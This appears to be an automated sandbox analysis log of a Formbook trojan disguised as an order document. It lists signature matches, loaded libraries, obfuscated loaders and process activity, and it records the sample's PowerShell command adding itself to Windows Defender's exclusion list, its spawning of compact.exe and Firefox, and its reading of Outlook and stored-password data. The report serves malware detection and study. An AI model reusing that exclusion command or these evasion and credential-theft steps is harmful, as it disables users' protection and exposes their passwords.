Source: 0000000A.00000002.4564032756.0000000002E10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.4565204551.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2506704352.0000000000E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.4571364654.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.4576370278.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.4571646187.0000000003D30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.2507910619.0000000002B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, DJO8vVomSf1ydRl3pV.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, bot8SiAUO3JBgG2e18.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, bot8SiAUO3JBgG2e18.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, bot8SiAUO3JBgG2e18.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, DJO8vVomSf1ydRl3pV.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, bot8SiAUO3JBgG2e18.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, bot8SiAUO3JBgG2e18.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, bot8SiAUO3JBgG2e18.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, bot8SiAUO3JBgG2e18.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, bot8SiAUO3JBgG2e18.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, bot8SiAUO3JBgG2e18.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, DJO8vVomSf1ydRl3pV.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/7@15/13

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.log

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6332:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxqwflws.i4u.ps1

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: compact.exe, 0000000A.00000002.4565290385.0000000003192000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4565290385.000000000316E000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000003.2684033486.0000000003163000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4565290385.0000000003163000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000003.2683868623.0000000003143000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process created: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Process created: C:\Windows\SysWOW64\compact.exe "C:\Windows\SysWOW64\compact.exe"
Source: C:\Windows\SysWOW64\compact.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Process created: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe "C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe"	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Process created: C:\Windows\SysWOW64\compact.exe "C:\Windows\SysWOW64\compact.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\compact.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: compact.pdbGCTL source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2506815789.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 00000009.00000003.2651430615.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: EUSOiCcoIEEJJ.exe, 00000009.00000002.4564033459.000000000064E000.00000002.00000001.01000000.0000000C.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4565010474.000000000064E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2507000951.0000000001380000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000000A.00000003.2509176695.00000000033E6000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4571886070.0000000003590000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000000A.00000003.2506580871.00000000031EC000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4571886070.000000000372E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2507000951.0000000001380000.00000040.00001000.00020000.00000000.sdmp, compact.exe, compact.exe, 0000000A.00000003.2509176695.00000000033E6000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4571886070.0000000003590000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000000A.00000003.2506580871.00000000031EC000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000000A.00000002.4571886070.000000000372E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: CAhp.pdbSHA256 source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe
Source:	Binary string: compact.pdb source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, 00000005.00000002.2506815789.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 00000009.00000003.2651430615.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CAhp.pdb source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Data Obfuscation

Source: Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe, mainscreen.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.77e0000.5.raw.unpack, -Module-.cs	.Net Code: _200D_200D_202B_206F_206A_206B_202B_200B_200D_206D_200C_206B_206A_200B_202E_200C_200E_202A_200E_206D_206F_202D_206F_206D_206C_200F_206A_202D_206C_202B_206A_206F_202A_206A_200E_200F_200B_200F_202E_202D_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.77e0000.5.raw.unpack, PingPong.cs	.Net Code: _206E_206D_206E_206E_202E_202E_200C_206A_202D_206E_200C_202B_200F_206E_200B_202E_200E_202A_202D_200E_200E_200E_200E_202B_200E_202C_200C_200B_202C_202D_200C_202A_200B_200C_206D_206B_202B_202A_202E_200C_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.cf90000.7.raw.unpack, bot8SiAUO3JBgG2e18.cs	.Net Code: s0H3RLDQ8P System.Reflection.Assembly.Load(byte[])
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.27bc388.0.raw.unpack, -Module-.cs	.Net Code: _200D_200D_202B_206F_206A_206B_202B_200B_200D_206D_200C_206B_206A_200B_202E_200C_200E_202A_200E_206D_206F_202D_206F_206D_206C_200F_206A_202D_206C_202B_206A_206F_202A_206A_200E_200F_200B_200F_202E_202D_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.27bc388.0.raw.unpack, PingPong.cs	.Net Code: _206E_206D_206E_206E_202E_202E_200C_206A_202D_206E_200C_202B_200F_206E_200B_202E_200E_202A_202D_200E_200E_200E_200E_202B_200E_202C_200C_200B_202C_202D_200C_202A_200B_200C_206D_206B_202B_202A_202E_200C_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.454da20.2.raw.unpack, bot8SiAUO3JBgG2e18.cs	.Net Code: s0H3RLDQ8P System.Reflection.Assembly.Load(byte[])
Source: 0.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.448ca00.3.raw.unpack, bot8SiAUO3JBgG2e18.cs	.Net Code: s0H3RLDQ8P System.Reflection.Assembly.Load(byte[])
Source: 10.2.compact.exe.3bfcd08.2.raw.unpack, mainscreen.cs	.Net Code: InitializeComponent System.Reflection.Assembly.Load(byte[])
